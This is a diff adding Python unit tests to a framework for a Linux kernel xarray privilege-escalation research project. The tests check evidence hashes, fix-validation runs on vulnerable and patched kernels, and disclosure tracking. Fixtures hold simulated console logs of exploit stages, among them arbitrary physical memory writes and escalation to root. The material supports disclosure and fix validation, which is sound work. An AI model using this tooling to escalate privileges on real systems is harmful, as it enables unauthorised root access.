0000000..fd66132 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_catalog.py @@ -0,0 +1,213 @@ +import hashlib +import json +import tempfile +import unittest +from pathlib import Path + +from dirtycrow.catalog import ( + verify_claim_catalog, + verify_finding_catalog, + write_claim_overview, +) + + +class FindingCatalogTests(unittest.TestCase): + def _write_json(self, path: Path, payload: object) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(json.dumps(payload) + "\n", encoding="utf-8") + + def _fixture(self, root: Path) -> Path: + baseline = root / "baseline" + self._write_json(baseline / "index.json", {"status": "confirmed"}) + self._write_json( + baseline / "final.json", {"passed": True, "failed_checks": []} + ) + self._write_json(baseline / "standalone.json", {"status": "confirmed"}) + files = [] + for name in ("index.json", "final.json", "standalone.json"): + path = baseline / name + files.append( + { + "path": name, + "sha256": hashlib.sha256(path.read_bytes()).hexdigest(), + "size": path.stat().st_size, + } + ) + self._write_json( + baseline / "manifest.json", {"schema_version": 1, "files": files} + ) + profile = root / "profiles" / "findings.json" + self._write_json( + profile, + { + "schema_version": 1, + "confirmed_vulnerabilities": [ + { + "id": "DIRTY-CROW-BACKSTEP", + "status": "confirmed_exact_targets", + "evidence": { + "index": "baseline/index.json", + "final_verification": "baseline/final.json", + "standalone": "baseline/standalone.json", + "manifest": "baseline/manifest.json", + }, + } + ], + "unconfirmed_surfaces": [ + {"id": "candidate", "status": "candidate_not_vulnerability"} + ], + }, + ) + return profile + + def test_accepts_evidence_backed_catalog(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = self._fixture(root) + + report = verify_finding_catalog(profile, root) + + self.assertTrue(report["passed"]) + self.assertEqual(report["confirmed_count"], 1) + self.assertEqual(report["candidate_count"], 1) + + def test_rejects_tampered_runtime_evidence(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = self._fixture(root) + self._write_json(root / "baseline" / "index.json", {"status": "draft"}) + + report = verify_finding_catalog(profile, root) + + self.assertFalse(report["passed"]) + self.assertIn( + "runtime index confirmed DIRTY-CROW-BACKSTEP", report["failed"] + ) + self.assertIn( + "immutable evidence hashes DIRTY-CROW-BACKSTEP", report["failed"] + ) + +class ClaimCatalogTests(unittest.TestCase): + def _write_profile(self, root: Path) -> Path: + artifact = root / "evidence" / "source.json" + artifact.parent.mkdir(parents=True) + artifact.write_text('{"result":"bounded"}\n', encoding="utf-8") + snapshot = "dirty-crow-claims-2026-09-05" + profile = { + "schema_version": 1, + "title": "Dirty Crow current claim catalog", + "snapshot_id": snapshot, + "as_of": "2026-09-05", + "current": True, + "supersedes": ["legacy-index-2026-08-30"], + "claims": [ + { + "claim_id": "DC-SOURCE", + "statement": "The source predicate is present.", + "scope": "Exact retained source snapshot.", + "evidence_class": "source_static", + "snapshot_id": snapshot, + "artifacts": [ + { + "reference": "evidence/source.json", + "sha256": hashlib.sha256(artifact.read_bytes()).hexdigest(), + "availability": "archived", + "note": "Retained source audit.", + } + ], + "availability": "archived_complete", + "last_reviewed": "2026-09-05", + "limitation": "No runtime claim.", + }, + { + "claim_id": "DC-CONTROLLED", + "statement": "A controlled runtime transition was observed.", + "scope": "Exact instrumented runtime only.", + "evidence_class": "runtime_controlled_instrumentation", + "snapshot_id": snapshot, + "artifacts": [ + { + "reference": "evidence/source.json", + "sha256": hashlib.sha256(artifact.read_bytes()).hexdigest(), + "availability": "archived", + "note": "Retained controlled-runtime record.", + } + ], + "availability": "archived_complete", + "last_reviewed": "2026-09-05", + "limitation": "Instrumentation changes scheduling.", + }, + { + "claim_id": "DC-EXTERNAL", + "statement": "An older runtime log was recorded.", + "scope": "Named legacy run only.", + "evidence_class": "runtime_exact_target", + "snapshot_id": snapshot, + "artifacts": [ + { + "reference": "external/legacy-runtime.log", + "sha256": "a" * 64, + "availability": "external_unavailable", + "note": "Hash retained; bytes are not in this export.", + } + ], + "availability": "external_only", + "last_reviewed": "2026-09-05", + "limitation": "Not independently byte-verifiable from this export.", + }, + ], + "boundary": "Claims are limited to their stated evidence classes.", + } + profile_path = root / "profiles" / "claims.json" + profile_path.parent.mkdir() + profile_path.write_text(json.dumps(profile), encoding="utf-8") + return profile_path + + def test_verifies_catalog_and_generates_overview(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = self._write_profile(root) + overview = root / "CURRENT-CLAIMS.md" + + report = write_claim_overview(profile, overview, root) + rendered = overview.read_text(encoding="utf-8") + + self.assertTrue(report["passed"]) + self.assertEqual(report["claim_count"], 3) + self.assertIn("DC-SOURCE", rendered) + self.assertIn("runtime_controlled_instrumentation", rendered) + self.assertIn("external_unavailable", rendered) + + def test_detects_archived_artifact_tamper(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = self._write_profile(root) + (root / "evidence" / "source.json").write_text( + '{"result":"tampered"}\n', encoding="utf-8" + ) + + report = verify_claim_catalog(profile, root) + + self.assertFalse(report["passed"]) + self.assertEqual( + report["failed"], + [ + "artifact DC-SOURCE:evidence/source.json", + "artifact DC-CONTROLLED:evidence/source.json", + ], + ) + + def test_rejects_claim_bound_to_another_snapshot(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = self._write_profile(root) + payload = json.loads(profile.read_text(encoding="utf-8")) + payload["claims"][0]["snapshot_id"] = "historical-snapshot" + profile.write_text(json.dumps(payload), encoding="utf-8") + + with self.assertRaisesRegex(ValueError, "snapshot_id mismatch"): + verify_claim_catalog(profile, root) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_cli.py b/dirty-crow-xarray-lpe/framework/tests/test_cli.py new file mode 100644 index 0000000..379a6fa --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_cli.py @@ -0,0 +1,131 @@ +from __future__ import annotations + +import json +from pathlib import Path +import tempfile +import unittest + +from dirtycrow.cli import main + + +ROOT = Path(__file__).resolve().parents[1] + + +class UnifiedCliTests(unittest.TestCase): + def test_target_and_toolchain_commands_emit_verified_reports(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + target_output = root / "target.json" + toolchain_output = root / "toolchain.json" + + target_status = main( + [ + "target", + "validate", + "--profile", + str(ROOT / "profiles/debian-6.12.105-x86_64-4k.json"), + "--backend-registry", + str(ROOT / "backends/registry.json"), + "--output", + str(target_output), + ] + ) + toolchain_status = main( + [ + "toolchain", + "verify", + "--lock", + str(ROOT / "toolchain-lock.json"), + "--output", + str(toolchain_output), + ] + ) + target_report = json.loads(target_output.read_text(encoding="utf-8")) + toolchain_report = json.loads( + toolchain_output.read_text(encoding="utf-8") + ) + + self.assertEqual(target_status, 0) + self.assertEqual(toolchain_status, 0) + self.assertTrue(target_report["passed"]) + self.assertTrue(toolchain_report["passed"]) + + def test_state_commands_create_and_query_next_step(self) -> None: + plan = { + "schema_version": 1, + "title": "CLI campaign", + "target_id": "test-target", + "steps": [ + {"id": "scan", "kind": "audit", "depends_on": [], "parameters": {}}, + {"id": "run", "kind": "lab", "depends_on": ["scan"], "parameters": {}}, + ], + } + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + store = root / "store" + plan_path = root / "plan.json" + create_output = root / "created.json" + next_output = root / "next.json" + plan_path.write_text(json.dumps(plan), encoding="utf-8") + + self.assertEqual( + main( + [ + "state", + "create", + "--store", + str(store), + "--plan", + str(plan_path), + "--output", + str(create_output), + ] + ), + 0, + ) + run_id = json.loads(create_output.read_text(encoding="utf-8"))["run_id"] + self.assertEqual( + main( + [ + "state", + "next", + "--store", + str(store), + "--run-id", + run_id, + "--output", + str(next_output), + ] + ), + 0, + ) + next_state = json.loads(next_output.read_text(encoding="utf-8")) + + self.assertEqual(next_state["next_ready_step"], "scan") + + def test_trace_decode_command_accepts_clean_log(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + log = root / "console.log" + output = root / "trace.json" + log.write_text("KERNEL_RELEASE test\nPRIMITIVE_NOT_OBSERVED rounds=1\n", encoding="utf-8") + + status = main( + [ + "trace", + "decode", + "--logs", + str(log), + "--output", + str(output), + ] + ) + report = json.loads(output.read_text(encoding="utf-8")) + + self.assertEqual(status, 0) + self.assertTrue(report["passed"]) + self.assertTrue(report["clean"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_compare.py b/dirty-crow-xarray-lpe/framework/tests/test_compare.py new file mode 100644 index 0000000..00e1be6 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_compare.py @@ -0,0 +1,287 @@ +from __future__ import annotations + +import contextlib +import hashlib +import io +import json +import tempfile +import unittest +from pathlib import Path + +from dirtycrow.cli import main +from dirtycrow.compare import ( + ComparisonError, + build_comparison_plan, + load_comparison_profile, + run_comparison, +) + + +def _sha256(payload: bytes) -> str: + return hashlib.sha256(payload).hexdigest() + +def _initial_console() -> str: + return ( + "EXPLOIT_IDENTITY uid=65534 euid=65534 suid=65534 " + "gid=65534 egid=65534 sgid=65534 nnp=1\n" + "EXPLOIT_CAPS capget_rc=0 effective=0\n" + "EXPLOIT_NAMESPACE initial=1 inside=0 outside=0 length=4294967295\n" + "PRE_ROOT_PROOF path=/root/filemap-xarray-root-proof required=1 open=0 errno=13\n" + ) + + +def _direct_proof_console() -> str: + return ( + _initial_console() + + "PAGE_TABLE_PRIMITIVE round=7 mapped_pmds=3\n" + + "ARBITRARY_PHYSICAL_RW pfn=0x3000 write_ok=1\n" + + "ROOT_IDENTITY uid=0 euid=0 suid=0 gid=0 egid=0 sgid=0 " + + "capget_rc=0 cap_effective=0x1ffffffffff\n" + + "ROOT_PROOF path=/root/filemap-xarray-root-proof required=1 open=1 " + + "read=25 data=filemap-xarray-root-proof\n" + + "POST_ROOT_CREATE path=/root/filemap-xarray-post-root-1234 created=1 " + + "uid=0 gid=0 mode=0400 read=25 data=filemap-xarray-post-root\n" + + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=65534 to_uid=0\n" + + "RECOVERY_ACTION mode=poweroff reason=corrupted_mm_reboot_only\n" + ) + + +class ComparisonTests(unittest.TestCase): + def _write_lab_profile( + self, + root: Path, + *, + target_id: str, + kernel: bytes, + initrd: bytes, + cpus: int = 4, + action: str = "backstep-proof", + append: str = "console=ttyS0 panic=-1 oops=panic", + ) -> Path: + root.mkdir(parents=True, exist_ok=True) + (root / "vmlinuz").write_bytes(kernel) + (root / "initrd.img").write_bytes(initrd) + profile = root / "target.json" + profile.write_text( + json.dumps( + { + "schema_version": 2, + "target_id": target_id, + "kernel": {"path": "vmlinuz", "sha256": _sha256(kernel)}, + "initrd": {"path": "initrd.img", "sha256": _sha256(initrd)}, + "vm": { + "architecture": "x86_64", + "page_size": 4096, + "qemu_binary": "missing/qemu-system-x86_64.exe", + "machine": "q35", + "acceleration": "tcg", + "cpu": "max", + "cpus": cpus, + "memory_mib": 1024, + "timeout_seconds": 30, + "watchdog": { + "boot_seconds": 10, + "trigger_seconds": 10, + "serial_inactivity_seconds": 10, + "post_primitive_seconds": 5, + }, + }, + "boot": {"action": action, "append": append}, + } + ), + encoding="utf-8", + ) + return profile + + def _fixture(self, root: Path) -> Path: + vulnerable_kernel = b"vulnerable kernel" + fixed_kernel = b"fixed kernel" + initrd = b"identical proof initrd" + self._write_lab_profile( + root / "vulnerable", + target_id="vulnerable", + kernel=vulnerable_kernel, + initrd=initrd, + ) + self._write_lab_profile( + root / "fixed", + target_id="fixed", + kernel=fixed_kernel, + initrd=initrd, + ) + self._write_lab_profile( + root / "single-cpu", + target_id="single-cpu-control", + kernel=vulnerable_kernel, + initrd=initrd, + cpus=1, + ) + patch = b"candidate xarray fix\n" + (root / "candidate.patch").write_bytes(patch) + profile = root / "comparison.json" + profile.write_text( + json.dumps( + { + "schema_version": 1, + "comparison_id": "xas-find-candidate-fix", + "fix": { + "path": "candidate.patch", + "sha256": _sha256(patch), + }, + "runs": [ + { + "name": "vulnerable", + "role": "vulnerable", + "profile": "vulnerable/target.json", + }, + { + "name": "fixed", + "role": "fixed", + "profile": "fixed/target.json", + }, + { + "name": "single-cpu", + "role": "control", + "control": "single-cpu", + "profile": "single-cpu/target.json", + }, + ], + } + ), + encoding="utf-8", + ) + return profile + + def test_plan_binds_patch_twins_and_control(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile = load_comparison_profile(self._fixture(Path(directory))) + plan = build_comparison_plan(profile) + + self.assertEqual(len(plan["runs"]), 3) + self.assertEqual(plan["runs"][0]["expectation"], "clean-full-proof") + self.assertEqual(plan["runs"][1]["expectation"], "clean-no-proof") + self.assertEqual(plan["runs"][2]["control"], "single-cpu") + self.assertEqual(len(plan["fix"]["sha256"]), 64) + + def test_comparison_requires_clean_proof_only_on_vulnerable_target(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_comparison_profile(self._fixture(root / "profile")) + + def lab_runner(lab: object, output: Path) -> dict[str, object]: + output.mkdir(parents=True) + if lab.target_id == "vulnerable": + console = _direct_proof_console() + else: + console = _initial_console() + "PRIMITIVE_NOT_OBSERVED rounds=1\n" + (output / "console.log").write_text(console, encoding="utf-8") + return { + "passed": True, + "state": "exited_clean", + "evidence": { + "proof_confirmed": lab.target_id == "vulnerable" + }, + } + + result = run_comparison( + profile, root / "output", lab_runner=lab_runner + ) + + self.assertTrue(result["passed"]) + self.assertTrue((root / "output" / "comparison.json").is_file()) + self.assertTrue(result["runs"][0]["console_evidence"]["full_proof"]) + + def test_fixed_target_proof_contaminates_comparison(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_comparison_profile(self._fixture(root / "profile")) + + def lab_runner(lab: object, output: Path) -> dict[str, object]: + output.mkdir(parents=True) + console = ( + _initial_console() + + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED " + + "from_uid=65534 to_uid=0\n" + ) + (output / "console.log").write_text(console, encoding="utf-8") + return {"passed": True} + + result = run_comparison( + profile, root / "output", lab_runner=lab_runner + ) + + self.assertFalse(result["passed"]) + fixed = next(run for run in result["runs"] if run["role"] == "fixed") + self.assertFalse(fixed["passed"]) + + def test_vulnerable_crash_marker_rejects_dirty_proof(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_comparison_profile(self._fixture(root / "profile")) + + def lab_runner(lab: object, output: Path) -> dict[str, object]: + output.mkdir(parents=True) + console = _initial_console() + "PRIMITIVE_NOT_OBSERVED rounds=1\n" + if lab.target_id == "vulnerable": + console = _direct_proof_console() + "BUG: page state\n" + (output / "console.log").write_text(console, encoding="utf-8") + return {"passed": True} + + result = run_comparison( + profile, root / "output", lab_runner=lab_runner + ) + + self.assertFalse(result["passed"]) + self.assertEqual( + result["runs"][0]["console_evidence"]["crash_markers"], ["BUG:"] + ) + + def test_twins_must_share_initrd_and_vm_configuration(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile_path = self._fixture(root) + fixed = root / "fixed" / "target.json" + payload = json.loads(fixed.read_text(encoding="utf-8")) + changed = b"different initrd" + (fixed.parent / "initrd.img").write_bytes(changed) + payload["initrd"]["sha256"] = _sha256(changed) + fixed.write_text(json.dumps(payload), encoding="utf-8") + with self.assertRaisesRegex(ComparisonError, "differ outside the kernel"): + load_comparison_profile(profile_path) + + def test_control_contract_is_enforced(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile_path = self._fixture(root) + control = root / "single-cpu" / "target.json" + payload = json.loads(control.read_text(encoding="utf-8")) + payload["vm"]["cpus"] = 2 + control.write_text(json.dumps(payload), encoding="utf-8") + with self.assertRaisesRegex(ComparisonError, "exactly one CPU"): + load_comparison_profile(profile_path) + + def test_patch_hash_is_verified(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile_path = self._fixture(root) + (root / "candidate.patch").write_bytes(b"tampered") + with self.assertRaisesRegex(ComparisonError, "fix SHA-256 mismatch"): + load_comparison_profile(profile_path) + + def test_cli_comparison_plan_runs_without_qemu(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile_path = self._fixture(Path(directory)) + stdout = io.StringIO() + with contextlib.redirect_stdout(stdout): + status = main( + ["compare", "plan", "--profile", str(profile_path)] + ) + report = json.loads(stdout.getvalue()) + + self.assertEqual(status, 0) + self.assertEqual(report["comparison_id"], "xas-find-candidate-fix") + self.assertFalse(report["runs"][0]["lab_plan"]["qemu"]["available"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_disclosure.py b/dirty-crow-xarray-lpe/framework/tests/test_disclosure.py new file mode 100644 index 0000000..78e4214 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_disclosure.py @@ -0,0 +1,45 @@ +from __future__ import annotations + +import json +from pathlib import Path +import tempfile +import unittest + +from dirtycrow.disclosure import verify_disclosure_tracker + + +ROOT = Path(__file__).resolve().parents[1] +TRACKER = ROOT / "profiles" / "disclosure.json" +MATRIX = ROOT / "profiles" / "targets.json" +REGISTRY = ROOT / "backends" / "registry.json" + + +class DisclosureTrackerTests(unittest.TestCase): + def test_tracks_every_runtime_confirmed_target(self) -> None: + report = verify_disclosure_tracker(TRACKER, MATRIX, REGISTRY) + self.assertTrue(report["passed"]) + self.assertEqual(report["summary"]["runtime_targets_tracked"], 8) + self.assertEqual(report["accepted_fix"]["status"], "not_accepted") + self.assertEqual(report["cve"]["status"], "not_assigned") + + def test_rejects_missing_retest_coverage(self) -> None: + with tempfile.TemporaryDirectory() as directory: + tracker = Path(directory) / "disclosure.json" + payload = json.loads(TRACKER.read_text(encoding="utf-8")) + payload["retests"].pop() + tracker.write_text(json.dumps(payload), encoding="utf-8") + with self.assertRaisesRegex(ValueError, "retest coverage differs"): + verify_disclosure_tracker(tracker, MATRIX, REGISTRY) + + def test_rejects_unaccepted_commit_claim(self) -> None: + with tempfile.TemporaryDirectory() as directory: + tracker = Path(directory) / "disclosure.json" + payload = json.loads(TRACKER.read_text(encoding="utf-8")) + payload["accepted_fix"]["commit"] = "0" * 40 + tracker.write_text(json.dumps(payload), encoding="utf-8") + with self.assertRaisesRegex(ValueError, "unaccepted fixes"): + verify_disclosure_tracker(tracker, MATRIX, REGISTRY) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_evidence.py b/dirty-crow-xarray-lpe/framework/tests/test_evidence.py new file mode 100644 index 0000000..0668e57 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_evidence.py @@ -0,0 +1,220 @@ +import hashlib +import json +import tempfile +import unittest +from pathlib import Path + +from dirtycrow.evidence import verify_manifest + + +class EvidenceVerifierTests(unittest.TestCase): + def test_detects_match_and_tamper(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + artifact = root / "artifact.bin" + artifact.write_bytes(b"verified") + manifest = root / "manifest.json" + manifest.write_text( + json.dumps( + { + "schema_version": 1, + "files": [ + { + "path": "artifact.bin", + "sha256": hashlib.sha256(b"verified").hexdigest(), + "size": len(b"verified"), + } + ], + } + ), + encoding="utf-8", + ) + valid = verify_manifest(manifest) + self.assertTrue(valid["passed"]) + self.assertEqual(valid["check_count"], 1) + artifact.write_bytes(b"tampered") + result = verify_manifest(manifest) + self.assertFalse(result["passed"]) + self.assertEqual(result["failed"], ["artifact.bin"]) + + def test_rejects_empty_manifest(self) -> None: + with tempfile.TemporaryDirectory() as directory: + manifest = Path(directory) / "manifest.json" + manifest.write_text( + '{"schema_version":1,"files":[]}', encoding="utf-8" + ) + + with self.assertRaisesRegex(ValueError, "non-empty"): + verify_manifest(manifest) + + def test_reports_missing_artifact_as_incomplete(self) -> None: + with tempfile.TemporaryDirectory() as directory: + manifest = Path(directory) / "manifest.json" + manifest.write_text( + json.dumps( + { + "schema_version": 1, + "files": [ + { + "path": "missing.bin", + "sha256": "0" * 64, + "size": 1, + } + ], + } + ), + encoding="utf-8", + ) + + result = verify_manifest(manifest) + + self.assertFalse(result["passed"]) + self.assertFalse(result["byte_integrity_passed"]) + self.assertEqual(result["failed"], ["missing.bin"]) + self.assertIsNone(result["checks"][0]["actual_sha256"]) + + def test_portable_manifest_survives_directory_move(self) -> None: + with tempfile.TemporaryDirectory() as directory: + parent = Path(directory) + original = parent / "original" + moved = parent / "moved" + original.mkdir() + artifact = original / "nested" / "artifact.bin" + artifact.parent.mkdir() + artifact.write_bytes(b"portable") + manifest = original / "manifest.json" + manifest.write_text( + json.dumps( + { + "schema_version": 1, + "files": [ + { + "path": "nested/artifact.bin", + "sha256": hashlib.sha256(b"portable").hexdigest(), + "size": len(b"portable"), + } + ], + } + ), + encoding="utf-8", + ) + before = verify_manifest(manifest) + original.rename(moved) + after = verify_manifest(moved / "manifest.json") + + self.assertTrue(before["passed"]) + self.assertTrue(after["passed"]) + self.assertEqual(before["check_count"], after["check_count"]) + + def test_rejects_parent_traversal(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + manifest = root / "manifest.json" + manifest.write_text( + json.dumps( + { + "schema_version": 1, + "files": [ + {"path": "../escape", "sha256": "0" * 64, "size": 0} + ], + } + ), + encoding="utf-8", + ) + with self.assertRaises(ValueError): + verify_manifest(manifest) + + def test_detects_size_mismatch(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + artifact = root / "artifact.bin" + artifact.write_bytes(b"verified") + manifest = root / "manifest.json" + manifest.write_text( + json.dumps( + { + "schema_version": 1, + "files": [ + { + "path": "artifact.bin", + "sha256": hashlib.sha256(b"verified").hexdigest(), + "size": len(b"verified") + 1, + } + ], + } + ), + encoding="utf-8", + ) + + result = verify_manifest(manifest) + + self.assertFalse(result["passed"]) + self.assertTrue(result["checks"][0]["hash_passed"]) + self.assertFalse(result["checks"][0]["size_passed"]) + + def test_rejects_duplicate_keys_paths_and_invalid_hashes(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + manifest = root / "manifest.json" + invalid_manifests = { + "duplicate key": ( + '{"schema_version":1,"schema_version":1,' + '"files":[{"path":"a","sha256":"' + "0" * 64 + '","size":0}]}' + ), + "duplicate path": json.dumps( + { + "schema_version": 1, + "files": [ + {"path": "A", "sha256": "0" * 64, "size": 0}, + {"path": "a", "sha256": "0" * 64, "size": 0}, + ], + } + ), + "invalid hash": json.dumps( + { + "schema_version": 1, + "files": [{"path": "a", "sha256": "xyz", "size": 0}], + } + ), + } + for label, payload in invalid_manifests.items(): + with self.subTest(label=label): + manifest.write_text(payload, encoding="utf-8") + with self.assertRaises(ValueError): + verify_manifest(manifest) + + def test_enforces_declared_closed_world_completeness(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + artifact = root / "artifact.bin" + artifact.write_bytes(b"verified") + extra = root / "unlisted.bin" + extra.write_bytes(b"extra") + payload = { + "schema_version": 2, + "closed_world": True, + "files": [ + { + "path": "artifact.bin", + "sha256": hashlib.sha256(b"verified").hexdigest(), + "size": len(b"verified"), + } + ], + } + manifest = root / "manifest.json" + manifest.write_text(json.dumps(payload), encoding="utf-8") + + incomplete = verify_manifest(manifest) + extra.unlink() + complete = verify_manifest(manifest) + + self.assertTrue(incomplete["byte_integrity_passed"]) + self.assertFalse(incomplete["completeness"]["passed"]) + self.assertEqual(incomplete["completeness"]["unlisted"], ["unlisted.bin"]) + self.assertFalse(incomplete["passed"]) + self.assertTrue(complete["passed"]) + self.assertTrue(complete["completeness"]["passed"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_fix_validation.py b/dirty-crow-xarray-lpe/framework/tests/test_fix_validation.py new file mode 100644 index 0000000..59db22b --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_fix_validation.py @@ -0,0 +1,76 @@ +from __future__ import annotations + +import json +from pathlib import Path +import subprocess +import sys +import tempfile +import unittest + +from dirtycrow.fix_validation import FixValidationError, verify_fix_validation + + +ROOT = Path(__file__).resolve().parents[1] +EVIDENCE = ROOT / "baseline" / "fix-validation" / "xarray-v7.2-ab.json" +STANDALONE_VERIFIER = ROOT / "reproduction" / "verify-fix-logs.py" + + +class FixValidationTests(unittest.TestCase): + def test_verifies_deterministic_and_full_kernel_ab_evidence(self) -> None: + result = verify_fix_validation(EVIDENCE, ROOT) + + self.assertTrue(result["passed"]) + self.assertEqual(result["artifact_count"], 24) + self.assertEqual(result["deterministic"]["total_checks"], 159585972) + self.assertEqual(result["full_kernel"]["vulnerable_successes"], 2) + self.assertEqual(result["full_kernel"]["fixed_clean_trials"], 2) + self.assertEqual(result["full_kernel"]["qemu"]["rounds"], 5000) + self.assertTrue(result["full_kernel"]["build"]["same_config"]) + self.assertTrue( + result["full_kernel"]["build"]["same_signing_certificate"] + ) + self.assertTrue(result["full_kernel"]["build"]["same_compile_metadata"]) + self.assertEqual(result["submission"]["dco_signoff_status"], "signed_off") + + def test_standalone_verifier_accepts_both_retained_pairs(self) -> None: + evidence_root = ROOT / "baseline" / "fix-validation" + for trial in (1, 2): + completed = subprocess.run( + [ + sys.executable, + str(STANDALONE_VERIFIER), + str(evidence_root / f"kernel-vulnerable-trial-{trial}.log"), + str(evidence_root / f"kernel-fixed-trial-{trial}.log"), + ], + check=False, + capture_output=True, + text=True, + ) + self.assertEqual(completed.returncode, 0, completed.stderr) + self.assertIn("FIX_VALIDATION_VERIFIED", completed.stdout) + + def test_rejects_tampered_artifact_hash(self) -> None: + payload = json.loads(EVIDENCE.read_text(encoding="utf-8")) + payload["patches"][0]["sha256"] = "0" * 64 + with tempfile.TemporaryDirectory() as directory: + tampered = Path(directory) / "fix-validation.json" + tampered.write_text(json.dumps(payload), encoding="utf-8") + with self.assertRaisesRegex(FixValidationError, "hash mismatch"): + verify_fix_validation(tampered, ROOT) + + def test_rejects_fixed_trial_backed_by_vulnerable_log(self) -> None: + payload = json.loads(EVIDENCE.read_text(encoding="utf-8")) + fixed_log = payload["full_kernel"]["fixed_trials"][0]["serial_log"] + vulnerable_log = payload["full_kernel"]["vulnerable_trials"][0]["serial_log"] + fixed_log["path"] = vulnerable_log["path"] + fixed_log["sha256"] = vulnerable_log["sha256"] + with tempfile.TemporaryDirectory() as directory: + tampered = Path(directory) / "fix-validation.json" + tampered.write_text(json.dumps(payload), encoding="utf-8") + with self.assertRaisesRegex( + FixValidationError, "PRIMITIVE_NOT_OBSERVED" + ): + verify_fix_validation(tampered, ROOT) + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_geometry.py b/dirty-crow-xarray-lpe/framework/tests/test_geometry.py new file mode 100644 index 0000000..7edbf38 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_geometry.py @@ -0,0 +1,72 @@ +from __future__ import annotations + +from pathlib import Path +import tempfile +import unittest + +from dirtycrow.geometry import validate_geometry_matrix + + +REGISTRY = Path(__file__).resolve().parents[1] / "backends" / "registry.json" +FACTS = { + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch", +} + + +class GeometryValidationTests(unittest.TestCase): + def test_separates_boot_validation_from_backend_support(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + kernel = root / "Image" + initramfs = root / "initramfs.cpio.gz" + kernel.write_bytes(b"kernel") + initramfs.write_bytes(b"initramfs") + targets = [] + for target_id, architecture, page_size, supported in ( + ("x86", "x86_64", 4096, True), + ("arm64", "aarch64", 65536, False), + ): + log = root / f"{target_id}.log" + log.write_text( + "DIRTY_CROW_GEOMETRY status=0 " + f"architecture={architecture} page_size={page_size} " + f"expected_page_size={page_size} endianness=little " + "pointer_bits=64 kernel_release=7.2-test\n", + encoding="utf-8", + ) + targets.append( + { + "id": target_id, + "architecture": architecture, + "page_size": page_size, + "kernel": str(kernel), + "initramfs": str(initramfs), + "log": str(log), + "backend_expected": supported, + } + ) + + report = validate_geometry_matrix( + targets, + backend_registry=REGISTRY, + source_facts=FACTS, + capabilities={"madv_collapse", "proof_contract_v1"}, + ) + + self.assertTrue(report["passed"]) + self.assertEqual(report["summary"]["runtime_validated_count"], 2) + self.assertEqual(report["summary"]["backend_supported_count"], 1) + arm = report["targets"][1] + reasons = { + reason["code"] + for evaluation in arm["backend_resolution"]["evaluations"] + for reason in evaluation["reasons"] + } + self.assertIn("architecture_mismatch", reasons) + self.assertIn("page_size_mismatch", reasons) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_lab.py b/dirty-crow-xarray-lpe/framework/tests/test_lab.py new file mode 100644 index 0000000..1f7ed26 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_lab.py @@ -0,0 +1,462 @@ +from __future__ import annotations + +import contextlib +import hashlib +import io +import json +import socket +import subprocess +import tempfile +import unittest +from pathlib import Path + +from dirtycrow.attestation import parse_attestation_payload +from dirtycrow.cli import main +from dirtycrow.lab import LabProfileError, build_qemu_plan, load_lab_profile, run_lab + + +def _sha256(payload: bytes) -> str: + return hashlib.sha256(payload).hexdigest() + + +class LabOrchestratorTests(unittest.TestCase): + def _write_profile( + self, + root: Path, + *, + qemu_binary: str = "missing/qemu-system-x86_64.exe", + extra_vm: dict[str, object] | None = None, + boot_append: str = "console=ttyS0 panic=-1 oops=panic", + action: str = "probe", + rootfs: bool = False, + ) -> Path: + root.mkdir(parents=True, exist_ok=True) + kernel = b"kernel-image" + initrd = b"initramfs-image" + if qemu_binary == "fixture": + qemu_path = root / "bin" / "qemu-system-x86_64.exe" + qemu_path.parent.mkdir(parents=True, exist_ok=True) + qemu_path.write_bytes(b"qemu fixture") + qemu_binary = "bin/qemu-system-x86_64.exe" + (root / "vmlinuz").write_bytes(kernel) + (root / 